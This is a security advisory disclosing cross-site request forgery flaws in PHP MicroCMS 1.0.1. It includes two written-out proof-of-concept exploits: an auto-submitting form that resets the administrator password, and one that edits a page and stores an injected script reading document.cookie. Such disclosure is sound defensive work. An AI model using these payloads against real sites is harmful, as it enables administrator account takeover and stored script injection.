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Cross-site Request Forgery (CSRF) Vulnerabilities in PHP MicroCMS

Advisory ID:HTB22764
Product:PHP MicroCMS
Vendor:ApPHP
Vulnerable Versions:1.0.1 and probably prior
Tested Version:1.0.1
Advisory Publication:December 21, 2010 [without technical details]
Vendor Notification:December 21, 2010
Public Disclosure:January 4, 2011
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Score:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerabilities in PHP MicroCMS which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) vulnerabilities in PHP MicroCMS
1.1 The vulnerability exists due to insufficient validation of the request origin in index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change administrator`s credentials.
Exploitation example:
<form action="http://host/index.php?admin=my_account" method="post">
<input type="hidden" name="password_one" value="newpass">
<input type="hidden" name="password_two" value="newpass">
<input type="submit" id="btn" name="submit" value="Change Password">
</form>
<script>
document.getElementById('btn').click();
</sc ript>

1.2 The vulnerability exists due to insufficient validation of the request origin in index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify pages. Due to insufficient sanitation of input data in the "page_text" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/index.php?admin=static_pages_edit&pk=home" method="post" name="main">
<input type="hidden" name="pk" value="home">
<input type="hidden" name="page_title" value="Welcome to PHP MicroCMS">
<input type="hidden" name="page_text" value="text<script>alert(document.cookie)</script>">
<input type="hidden" name="subSavePage" value="Save Changes">
</form>
<script>
document.main.submit();
</script>

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Solution:
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More Information:
http://www.apphp.com/php-microcms/index.php?page=downloads


References:
[1] High-Tech Bridge Advisory HTB22764 - https://www.immuniweb.com/advisory/HTB22764 - Cross-site Request Forgery (CSRF) Vulnerabilities in PHP MicroCMS
[2] PHP MicroCMS - apphp.com - MicroCMS (PHP MCMS) is a simple, but very powerful Content Management System that everyone can use.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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